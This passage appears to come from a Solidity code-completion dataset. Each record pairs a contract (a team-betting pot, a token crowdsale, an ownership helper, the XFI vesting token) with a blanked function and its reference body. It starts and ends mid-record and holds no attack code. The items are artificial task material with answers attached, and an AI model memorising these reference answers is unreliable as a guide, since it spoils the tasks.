bet(uint8 teamIndex) payable public { // betting has to be started and not ended and winningTeamIndex must be 255 (not announced) require(bettingStarted() && !bettingEnded() && winningTeamIndex == 255); // value must be at least minimum bet require(msg.value >= minimumBet); // must not be smart contract address require(!ContractHelpers.isContract(msg.sender)); // check that we have team in that index we are betting require(teamIndex < teams.length); // get storage ref Team storage team = teams[teamIndex]; // add bet to team team.bets += msg.value; // if new bettor, save address for paying winnings if (team.bettorAmount[msg.sender] == 0) { team.bettors.push(msg.sender); } // send event BetPlaced(msg.sender, teamIndex, msg.value); // add bettor betting amount, so we can pay correct amount if win team.bettorAmount[msg.sender] += msg.value; } // calculate fee from the losing portion of total pot function removeFeeAmount(uint totalPot, uint winnersPot) private returns(uint) { uint remaining = SafeMath.sub(totalPot, winnersPot); // if we only have winners, take no fee if (remaining == 0) { return 0; } // calculate fee uint feeAmount = SafeMath.div(remaining, 100); feeAmount = feeAmount * feePercentage; totalFee = feeAmount; // return loser side pot - fee = winnings return remaining - feeAmount; } // announce winner function announceWinner(uint8 teamIndex) public onlyOwner { // ensure we have a team here require(teamIndex < teams.length); // ensure that betting is ended before announcing winner and winner has not been announced require(bettingEnded() && winningTeamIndex == 255); winningTeamIndex = teamIndex; winnerAnnounced = uint32(now); WinnerAnnounced(teamIndex); // calculate payouts for winners calculatePayouts(); } // calculate payouts function calculatePayouts() private { uint totalAmount = totalBets(); Team storage wt = teams[winningTeamIndex]; uint winTeamAmount = wt.bets; // if we have no winners, no need to do anything if (winTeamAmount == 0) { return; } // substract fee uint winnings = removeFeeAmount(totalAmount, winTeamAmount); // calc percentage of total pot for every winner bettor for (uint i = 0; i < wt.bettors.length; i++) { // get bet amount uint betSize = wt.bettorAmount[wt.bettors[i]]; // get bettor percentage of pot uint percentage = SafeMath.div((betSize*100), winTeamAmount); // calculate winnings uint payOut = winnings * percentage; // add winnings and original bet = total payout payOuts[wt.bettors[i]] = SafeMath.div(payOut, 100) + betSize; } } // winner can withdraw payout after winner is announced function withdraw() public { // check that we have winner announced require(winnerAnnounced > 0 && uint32(now) > winnerAnnounced); // check that we have payout calculated for address. require(payOuts[msg.sender] > 0); // no double withdrawals uint po = payOuts[msg.sender]; payOuts[msg.sender] = 0; Withdraw(msg.sender, po); // transfer payout to sender msg.sender.transfer(po); } // withdraw owner fee when winner is announced function withdrawFee() public onlyOwner { require(totalFee > 0); // owner cannot withdraw fee before winner is announced. This is incentive for contract owner to announce winner require(winnerAnnounced > 0 && now > winnerAnnounced); // make sure owner cannot withdraw more than fee amount msg.sender.transfer(totalFee); // set total fee to zero, so owner cannot empty whole contract totalFee = 0; } // cancel and set all bets to payouts function cancel() public onlyOwner { require (winningTeamIndex == 255); winningTeamIndex = 254; winnerAnnounced = uint32(now); Team storage t = teams[0]; for (uint i = 0; i < t.bettors.length; i++) { payOuts[t.bettors[i]] += t.bettorAmount[t.bettors[i]]; } Team storage t2 = teams[1]; for (i = 0; i < t2.bettors.length; i++) { payOuts[t2.bettors[i]] += t2.bettorAmount[t2.bettors[i]]; } } // can kill contract after winnerAnnounced + 8 weeks function kill() public onlyOwner { // cannot kill contract before winner is announced and it's been announced at least for 8 weeks require(winnerAnnounced > 0 && uint32(now) > (winnerAnnounced + 8 weeks)); selfdestruct(msg.sender); } // prevent eth transfers to this contract function () public payable { revert(); } }
contract BetWinner is Ownable { address owner; // team has name and its total bet amount and bettors struct Team { string name; uint256 bets; address[] bettors; mapping(address => uint256) bettorAmount; } Team[] teams; uint8 public winningTeamIndex = 255; // 255 => not set // payout table for winners mapping(address => uint256) public payOuts; bool public inited; // timestamps uint32 public bettingStart; uint32 public bettingEnd; uint32 public winnerAnnounced; uint8 public feePercentage; uint public minimumBet; uint public totalFee; // events event BetPlaced(address indexed _from, uint8 indexed _teamId, uint _value); event Withdraw(address indexed _to, uint _value); event Started(uint bettingStartTime, uint numberOfTeams); event WinnerAnnounced(uint8 indexed teamIndex); // constructor function BetWinner() public Ownable() { feePercentage = 2; minimumBet = 100 szabo; } // get bettingStart, bettingEnd, winnerAnnounced, winnerIndex, teams count function betInfo() public view returns (uint32, uint32, uint32, uint8, uint) { return (bettingStart, bettingEnd, winnerAnnounced, winningTeamIndex, teams.length); } function bettingStarted() private view returns (bool) { return now >= bettingStart; } function bettingEnded() private view returns (bool) { return now >= bettingEnd; } // remember to add all teams before calling startBetting function addTeam(string _name) public onlyOwner { require(!inited); Team memory t = Team({ name: _name, bets: 0, bettors: new address[](0) }); teams.push(t); } // set betting start and stop times. after that teams cannot be added function startBetting(uint32 _bettingStart, uint32 _bettingEnd) public onlyOwner { require(!inited); bettingStart = _bettingStart; bettingEnd = _bettingEnd; inited = true; Started(bettingStart, teams.length - 1); } // get total bet amount for address for team function getBetAmount(uint8 teamIndex) view public returns (uint) { return teams[teamIndex].bettorAmount[msg.sender]; } <FILL_FUNCTION> // get total bets for every team function totalBets() view public returns (uint) { uint total = 0; for (uint i = 0; i < teams.length; i++) { total += teams[i].bets; } return total; } // place bet to team function bet(uint8 teamIndex) payable public { // betting has to be started and not ended and winningTeamIndex must be 255 (not announced) require(bettingStarted() && !bettingEnded() && winningTeamIndex == 255); // value must be at least minimum bet require(msg.value >= minimumBet); // must not be smart contract address require(!ContractHelpers.isContract(msg.sender)); // check that we have team in that index we are betting require(teamIndex < teams.length); // get storage ref Team storage team = teams[teamIndex]; // add bet to team team.bets += msg.value; // if new bettor, save address for paying winnings if (team.bettorAmount[msg.sender] == 0) { team.bettors.push(msg.sender); } // send event BetPlaced(msg.sender, teamIndex, msg.value); // add bettor betting amount, so we can pay correct amount if win team.bettorAmount[msg.sender] += msg.value; } // calculate fee from the losing portion of total pot function removeFeeAmount(uint totalPot, uint winnersPot) private returns(uint) { uint remaining = SafeMath.sub(totalPot, winnersPot); // if we only have winners, take no fee if (remaining == 0) { return 0; } // calculate fee uint feeAmount = SafeMath.div(remaining, 100); feeAmount = feeAmount * feePercentage; totalFee = feeAmount; // return loser side pot - fee = winnings return remaining - feeAmount; } // announce winner function announceWinner(uint8 teamIndex) public onlyOwner { // ensure we have a team here require(teamIndex < teams.length); // ensure that betting is ended before announcing winner and winner has not been announced require(bettingEnded() && winningTeamIndex == 255); winningTeamIndex = teamIndex; winnerAnnounced = uint32(now); WinnerAnnounced(teamIndex); // calculate payouts for winners calculatePayouts(); } // calculate payouts function calculatePayouts() private { uint totalAmount = totalBets(); Team storage wt = teams[winningTeamIndex]; uint winTeamAmount = wt.bets; // if we have no winners, no need to do anything if (winTeamAmount == 0) { return; } // substract fee uint winnings = removeFeeAmount(totalAmount, winTeamAmount); // calc percentage of total pot for every winner bettor for (uint i = 0; i < wt.bettors.length; i++) { // get bet amount uint betSize = wt.bettorAmount[wt.bettors[i]]; // get bettor percentage of pot uint percentage = SafeMath.div((betSize*100), winTeamAmount); // calculate winnings uint payOut = winnings * percentage; // add winnings and original bet = total payout payOuts[wt.bettors[i]] = SafeMath.div(payOut, 100) + betSize; } } // winner can withdraw payout after winner is announced function withdraw() public { // check that we have winner announced require(winnerAnnounced > 0 && uint32(now) > winnerAnnounced); // check that we have payout calculated for address. require(payOuts[msg.sender] > 0); // no double withdrawals uint po = payOuts[msg.sender]; payOuts[msg.sender] = 0; Withdraw(msg.sender, po); // transfer payout to sender msg.sender.transfer(po); } // withdraw owner fee when winner is announced function withdrawFee() public onlyOwner { require(totalFee > 0); // owner cannot withdraw fee before winner is announced. This is incentive for contract owner to announce winner require(winnerAnnounced > 0 && now > winnerAnnounced); // make sure owner cannot withdraw more than fee amount msg.sender.transfer(totalFee); // set total fee to zero, so owner cannot empty whole contract totalFee = 0; } // cancel and set all bets to payouts function cancel() public onlyOwner { require (winningTeamIndex == 255); winningTeamIndex = 254; winnerAnnounced = uint32(now); Team storage t = teams[0]; for (uint i = 0; i < t.bettors.length; i++) { payOuts[t.bettors[i]] += t.bettorAmount[t.bettors[i]]; } Team storage t2 = teams[1]; for (i = 0; i < t2.bettors.length; i++) { payOuts[t2.bettors[i]] += t2.bettorAmount[t2.bettors[i]]; } } // can kill contract after winnerAnnounced + 8 weeks function kill() public onlyOwner { // cannot kill contract before winner is announced and it's been announced at least for 8 weeks require(winnerAnnounced > 0 && uint32(now) > (winnerAnnounced + 8 weeks)); selfdestruct(msg.sender); } // prevent eth transfers to this contract function () public payable { revert(); } }
Team memory t = teams[teamIndex]; return (t.name, t.bets, t.bettors.length);
function getTeam(uint8 teamIndex) view public returns (string, uint, uint)
// get team data (name, total bets, bettor count) function getTeam(uint8 teamIndex) view public returns (string, uint, uint)
75,283
Crowdsale
validPurchase
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; // amount of tokens that were sold uint256 public tokensSold; // Hard cap in VNC tokens uint256 constant public hardCap = 24000000 * (10**18); /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, address _wallet, MintableToken tokenContract) public { require(_startTime >= now); require(_endTime >= _startTime); require(_wallet != 0x0); startTime = _startTime; endTime = _endTime; wallet = _wallet; token = tokenContract; } function setNewTokenOwner(address newOwner) public onlyOwner { token.transferOwnership(newOwner); } function createTokenOwner() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } /** * @dev Internal function that is used to determine the current rate for token / ETH conversion * @return The current token rate */ function getRate() internal view returns (uint256) { if(now < (startTime + 5 weeks)) { return 7000; } if(now < (startTime + 9 weeks)) { return 6500; } if(now < (startTime + 13 weeks)) { return 6000; } if(now < (startTime + 15 weeks)) { return 5500; } return 5000; } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); require(msg.value >= 0.05 ether); uint256 weiAmount = msg.value; uint256 updateWeiRaised = weiRaised.add(weiAmount); uint256 rate = getRate(); uint256 tokens = weiAmount.mul(rate); require ( tokens <= token.balanceOf(this)); // update state weiRaised = updateWeiRaised; token.transfer(beneficiary, tokens); tokensSold = tokensSold.add(tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime || tokensSold >= hardCap; } // Override this method to have a way to add business logic to your crowdsale when buying function tokenResend() public onlyOwner { token.transfer(owner, token.balanceOf(this)); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) {<FILL_FUNCTION_BODY> } }
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; // amount of tokens that were sold uint256 public tokensSold; // Hard cap in VNC tokens uint256 constant public hardCap = 24000000 * (10**18); /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, address _wallet, MintableToken tokenContract) public { require(_startTime >= now); require(_endTime >= _startTime); require(_wallet != 0x0); startTime = _startTime; endTime = _endTime; wallet = _wallet; token = tokenContract; } function setNewTokenOwner(address newOwner) public onlyOwner { token.transferOwnership(newOwner); } function createTokenOwner() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } /** * @dev Internal function that is used to determine the current rate for token / ETH conversion * @return The current token rate */ function getRate() internal view returns (uint256) { if(now < (startTime + 5 weeks)) { return 7000; } if(now < (startTime + 9 weeks)) { return 6500; } if(now < (startTime + 13 weeks)) { return 6000; } if(now < (startTime + 15 weeks)) { return 5500; } return 5000; } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); require(msg.value >= 0.05 ether); uint256 weiAmount = msg.value; uint256 updateWeiRaised = weiRaised.add(weiAmount); uint256 rate = getRate(); uint256 tokens = weiAmount.mul(rate); require ( tokens <= token.balanceOf(this)); // update state weiRaised = updateWeiRaised; token.transfer(beneficiary, tokens); tokensSold = tokensSold.add(tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime || tokensSold >= hardCap; } // Override this method to have a way to add business logic to your crowdsale when buying function tokenResend() public onlyOwner { token.transfer(owner, token.balanceOf(this)); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } <FILL_FUNCTION> }
bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; bool hardCapNotReached = tokensSold < hardCap; return withinPeriod && nonZeroPurchase && hardCapNotReached;
function validPurchase() internal view returns (bool)
// @return true if the transaction can buy tokens function validPurchase() internal view returns (bool)
33,242
Secondary
transferPrimary
contract Secondary { address private _primary; event PrimaryTransferred( address recipient ); /** * @dev Sets the primary account to the one that is creating the Secondary contract. */ constructor () internal { _primary = msg.sender; emit PrimaryTransferred(_primary); } /** * @dev Reverts if called from any account other than the primary. */ modifier onlyPrimary() { require(msg.sender == _primary); _; } /** * @return the address of the primary. */ function primary() public view returns (address) { return _primary; } /** * @dev Transfers contract to a new primary. * @param recipient The address of new primary. */ function transferPrimary(address recipient) public onlyPrimary {<FILL_FUNCTION_BODY> } }
contract Secondary { address private _primary; event PrimaryTransferred( address recipient ); /** * @dev Sets the primary account to the one that is creating the Secondary contract. */ constructor () internal { _primary = msg.sender; emit PrimaryTransferred(_primary); } /** * @dev Reverts if called from any account other than the primary. */ modifier onlyPrimary() { require(msg.sender == _primary); _; } /** * @return the address of the primary. */ function primary() public view returns (address) { return _primary; } <FILL_FUNCTION> }
require(recipient != address(0)); _primary = recipient; emit PrimaryTransferred(_primary);
function transferPrimary(address recipient) public onlyPrimary
/** * @dev Transfers contract to a new primary. * @param recipient The address of new primary. */ function transferPrimary(address recipient) public onlyPrimary
42,247
XFIToken
reserveFrozenUntil
contract XFIToken is AccessControl, ReentrancyGuard, IXFIToken { using SafeMath for uint256; using Address for address; string private constant _name = 'dfinance'; string private constant _symbol = 'XFI'; uint8 private constant _decimals = 18; bytes32 public constant MINTER_ROLE = keccak256('minter'); uint256 public constant override MAX_VESTING_TOTAL_SUPPLY = 1e26; // 100 million XFI. uint256 public constant override VESTING_DURATION_DAYS = 182; uint256 public constant override VESTING_DURATION = 182 days; /** * @dev Reserve is the final amount of tokens that weren't distributed * during the vesting. */ uint256 public constant override RESERVE_FREEZE_DURATION_DAYS = 730; // Around 2 years. uint256 public constant override RESERVE_FREEZE_DURATION = 730 days; mapping (address => uint256) private _vestingBalances; mapping (address => uint256) private _balances; mapping (address => uint256) private _spentVestedBalances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _vestingTotalSupply; uint256 private _totalSupply; uint256 private _spentVestedTotalSupply; uint256 private _vestingStart; uint256 private _vestingEnd; uint256 private _reserveFrozenUntil; bool private _stopped = false; bool private _migratingAllowed = false; uint256 private _reserveAmount; /** * Sets {DEFAULT_ADMIN_ROLE} (alias `owner`) role for caller. * Assigns vesting and freeze period dates. */ constructor (uint256 vestingStart_) public { require(vestingStart_ > block.timestamp, 'XFIToken: vesting start must be greater than current timestamp'); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _vestingStart = vestingStart_; _vestingEnd = vestingStart_.add(VESTING_DURATION); _reserveFrozenUntil = vestingStart_.add(RESERVE_FREEZE_DURATION); _reserveAmount = MAX_VESTING_TOTAL_SUPPLY; } /** * Transfers `amount` tokens to `recipient`. * * Emits a {Transfer} event. * * Requirements: * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * Approves `spender` to spend `amount` of caller's tokens. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. * * Requirements: * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * Transfers `amount` tokens from `sender` to `recipient`. * * Emits a {Transfer} event. * Emits an {Approval} event indicating the updated allowance. * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, 'XFIToken: transfer amount exceeds allowance')); return true; } /** * Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, 'XFIToken: decreased allowance below zero')); return true; } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - Caller must have minter role. * - `account` cannot be the zero address. */ function mint(address account, uint256 amount) external override returns (bool) { require(hasRole(MINTER_ROLE, msg.sender), 'XFIToken: sender is not minter'); _mint(account, amount); return true; } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply without vesting. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - Caller must have minter role. * - `account` cannot be the zero address. */ function mintWithoutVesting(address account, uint256 amount) external override returns (bool) { require(hasRole(MINTER_ROLE, msg.sender), 'XFIToken: sender is not minter'); _mintWithoutVesting(account, amount); return true; } /** * Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * - Caller must have minter role. */ function burnFrom(address account, uint256 amount) external override returns (bool) { require(hasRole(MINTER_ROLE, msg.sender), 'XFIToken: sender is not minter'); _burn(account, amount); return true; } /** * Destroys `amount` tokens from sender, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. */ function burn(uint256 amount) external override returns (bool) { _burn(msg.sender, amount); return true; } /** * Change vesting start and end timestamps. * * Emits a {VestingStartChanged} event. * * Requirements: * - Caller must have owner role. * - Vesting must be pending. * - `vestingStart_` must be greater than the current timestamp. */ function changeVestingStart(uint256 vestingStart_) external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'XFIToken: sender is not owner'); require(_vestingStart > block.timestamp, 'XFIToken: vesting has started'); require(vestingStart_ > block.timestamp, 'XFIToken: vesting start must be greater than current timestamp'); _vestingStart = vestingStart_; _vestingEnd = vestingStart_.add(VESTING_DURATION); _reserveFrozenUntil = vestingStart_.add(RESERVE_FREEZE_DURATION); emit VestingStartChanged(vestingStart_, _vestingEnd, _reserveFrozenUntil); return true; } /** * Starts all transfers. * * Emits a {TransfersStarted} event. * * Requirements: * - Caller must have owner role. * - Transferring is stopped. */ function startTransfers() external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(_stopped, 'XFIToken: transferring is not stopped'); _stopped = false; emit TransfersStarted(); return true; } /** * Stops all transfers. * * Emits a {TransfersStopped} event. * * Requirements: * - Caller must have owner role. * - Transferring isn't stopped. */ function stopTransfers() external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(!_stopped, 'XFIToken: transferring is stopped'); _stopped = true; emit TransfersStopped(); return true; } /** * Start migrations. * * Emits a {MigrationsStarted} event. * * Requirements: * - Caller must have owner role. * - Migrating isn't allowed. */ function allowMigrations() external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(!_migratingAllowed, 'XFIToken: migrating is allowed'); _migratingAllowed = true; emit MigrationsAllowed(); return true; } /** * Withdraws reserve amount to a destination specified as `to`. * * Emits a {ReserveWithdrawal} event. * * Requirements: * - `to` cannot be the zero address. * - Caller must have owner role. * - Reserve has unfrozen. */ function withdrawReserve(address to) external override nonReentrant returns (bool) { require(to != address(0), 'XFIToken: withdraw to the zero address'); require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(block.timestamp > _reserveFrozenUntil, 'XFIToken: reserve is frozen'); uint256 amount = reserveAmount(); _mintWithoutVesting(to, amount); _reserveAmount = 0; emit ReserveWithdrawal(to, amount); return true; } /** * Migrate vesting balance to the Dfinance blockchain. * * Emits a {VestingBalanceMigrated} event. * * Requirements: * - `to` is not the zero bytes. * - Vesting balance is greater than zero. * - Vesting hasn't ended. */ function migrateVestingBalance(bytes32 to) external override nonReentrant returns (bool) { require(to != bytes32(0), 'XFIToken: migrate to the zero bytes'); require(_migratingAllowed, 'XFIToken: migrating is disallowed'); require(block.timestamp < _vestingEnd, 'XFIToken: vesting has ended'); uint256 vestingBalance = _vestingBalances[msg.sender]; require(vestingBalance > 0, 'XFIToken: vesting balance is zero'); uint256 spentVestedBalance = spentVestedBalanceOf(msg.sender); uint256 unspentVestedBalance = unspentVestedBalanceOf(msg.sender); // Subtract the vesting balance from total supply. _vestingTotalSupply = _vestingTotalSupply.sub(vestingBalance); // Add the unspent vesting balance to total supply. _totalSupply = _totalSupply.add(unspentVestedBalance); // Subtract the spent vested balance from total supply. _spentVestedTotalSupply = _spentVestedTotalSupply.sub(spentVestedBalance); // Make unspent vested balance persistent. _balances[msg.sender] = _balances[msg.sender].add(unspentVestedBalance); // Reset the account's vesting. _vestingBalances[msg.sender] = 0; _spentVestedBalances[msg.sender] = 0; emit VestingBalanceMigrated(msg.sender, to, vestingDaysLeft(), vestingBalance); return true; } /** * Returns name of the token. */ function name() external view override returns (string memory) { return _name; } /** * Returns symbol of the token. */ function symbol() external view override returns (string memory) { return _symbol; } /** * Returns number of decimals of the token. */ function decimals() external view override returns (uint8) { return _decimals; } /** * Returnes amount of `owner`'s tokens that `spender` is allowed to transfer. */ function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } /** * Returns the vesting start. */ function vestingStart() external view override returns (uint256) { return _vestingStart; } /** * Returns the vesting end. */ function vestingEnd() external view override returns (uint256) { return _vestingEnd; } /** * Returns the date when freeze of the reserve XFI amount. */ function reserveFrozenUntil() external view override returns (uint256) {<FILL_FUNCTION_BODY> } /** * Returns whether transfering is stopped. */ function isTransferringStopped() external view override returns (bool) { return _stopped; } /** * Returns whether migrating is allowed. */ function isMigratingAllowed() external view override returns (bool) { return _migratingAllowed; } /** * Convert input amount to the output amount using the vesting ratio * (days since vesting start / vesting duration). */ function convertAmountUsingRatio(uint256 amount) public view override returns (uint256) { uint256 convertedAmount = amount .mul(vestingDaysSinceStart()) .div(VESTING_DURATION_DAYS); return (convertedAmount < amount) ? convertedAmount : amount; } /** * Convert input amount to the output amount using the vesting reverse * ratio (days until vesting end / vesting duration). */ function convertAmountUsingReverseRatio(uint256 amount) public view override returns (uint256) { if (vestingDaysSinceStart() > 0) { return amount .mul(vestingDaysLeft().add(1)) .div(VESTING_DURATION_DAYS); } else { return amount; } } /** * Returns days since the vesting start. */ function vestingDaysSinceStart() public view override returns (uint256) { if (block.timestamp > _vestingStart) { return block.timestamp .sub(_vestingStart) .div(1 days) .add(1); } else { return 0; } } /** * Returns vesting days left. */ function vestingDaysLeft() public view override returns (uint256) { if (block.timestamp < _vestingEnd) { return VESTING_DURATION_DAYS .sub(vestingDaysSinceStart()); } else { return 0; } } /** * Returns total supply of the token. */ function totalSupply() public view override returns (uint256) { return convertAmountUsingRatio(_vestingTotalSupply) .add(_totalSupply) .sub(_spentVestedTotalSupply); } /** * Returns total vested balance of the `account`. */ function totalVestedBalanceOf(address account) public view override returns (uint256) { return convertAmountUsingRatio(_vestingBalances[account]); } /** * Returns unspent vested balance of the `account`. */ function unspentVestedBalanceOf(address account) public view override returns (uint256) { return totalVestedBalanceOf(account) .sub(_spentVestedBalances[account]); } /** * Returns spent vested balance of the `account`. */ function spentVestedBalanceOf(address account) public view override returns (uint256) { return _spentVestedBalances[account]; } /** * Returns token balance of the `account`. */ function balanceOf(address account) public view override returns (uint256) { return unspentVestedBalanceOf(account) .add(_balances[account]); } /** * Returns reserve amount. */ function reserveAmount() public view override returns (uint256) { return _reserveAmount; } /** * Moves tokens `amount` from `sender` to `recipient`. * * Emits a {Transfer} event. * * Requirements: * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - Transferring is not stopped. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), 'XFIToken: transfer from the zero address'); require(recipient != address(0), 'XFIToken: transfer to the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); _decreaseAccountBalance(sender, amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * - Transferring is not stopped. * - `amount` doesn't exceed reserve amount. */ function _mint(address account, uint256 amount) internal { require(account != address(0), 'XFIToken: mint to the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); require(_reserveAmount >= amount, 'XFIToken: mint amount exceeds reserve amount'); _vestingTotalSupply = _vestingTotalSupply.add(amount); _vestingBalances[account] = _vestingBalances[account].add(amount); _reserveAmount = _reserveAmount.sub(amount); emit Transfer(address(0), account, amount); } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply without vesting. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * - Transferring is not stopped. */ function _mintWithoutVesting(address account, uint256 amount) internal { require(account != address(0), 'XFIToken: mint to the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * - Transferring is not stopped. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), 'XFIToken: burn from the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); require(balanceOf(account) >= amount, 'XFIToken: burn amount exceeds balance'); _decreaseAccountBalance(account, amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * Emits an {Approval} event. * * Requirements: * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), 'XFIToken: approve from the zero address'); require(spender != address(0), 'XFIToken: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * Decrease balance of the `account`. * * The use of vested balance is in priority. Otherwise, the normal balance * will be used. */ function _decreaseAccountBalance(address account, uint256 amount) internal { uint256 accountBalance = balanceOf(account); require(accountBalance >= amount, 'XFIToken: transfer amount exceeds balance'); uint256 accountVestedBalance = unspentVestedBalanceOf(account); uint256 usedVestedBalance = 0; uint256 usedBalance = 0; if (accountVestedBalance >= amount) { usedVestedBalance = amount; } else { usedVestedBalance = accountVestedBalance; usedBalance = amount.sub(usedVestedBalance); } _balances[account] = _balances[account].sub(usedBalance); _spentVestedBalances[account] = _spentVestedBalances[account].add(usedVestedBalance); _totalSupply = _totalSupply.add(usedVestedBalance); _spentVestedTotalSupply = _spentVestedTotalSupply.add(usedVestedBalance); } }
contract XFIToken is AccessControl, ReentrancyGuard, IXFIToken { using SafeMath for uint256; using Address for address; string private constant _name = 'dfinance'; string private constant _symbol = 'XFI'; uint8 private constant _decimals = 18; bytes32 public constant MINTER_ROLE = keccak256('minter'); uint256 public constant override MAX_VESTING_TOTAL_SUPPLY = 1e26; // 100 million XFI. uint256 public constant override VESTING_DURATION_DAYS = 182; uint256 public constant override VESTING_DURATION = 182 days; /** * @dev Reserve is the final amount of tokens that weren't distributed * during the vesting. */ uint256 public constant override RESERVE_FREEZE_DURATION_DAYS = 730; // Around 2 years. uint256 public constant override RESERVE_FREEZE_DURATION = 730 days; mapping (address => uint256) private _vestingBalances; mapping (address => uint256) private _balances; mapping (address => uint256) private _spentVestedBalances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _vestingTotalSupply; uint256 private _totalSupply; uint256 private _spentVestedTotalSupply; uint256 private _vestingStart; uint256 private _vestingEnd; uint256 private _reserveFrozenUntil; bool private _stopped = false; bool private _migratingAllowed = false; uint256 private _reserveAmount; /** * Sets {DEFAULT_ADMIN_ROLE} (alias `owner`) role for caller. * Assigns vesting and freeze period dates. */ constructor (uint256 vestingStart_) public { require(vestingStart_ > block.timestamp, 'XFIToken: vesting start must be greater than current 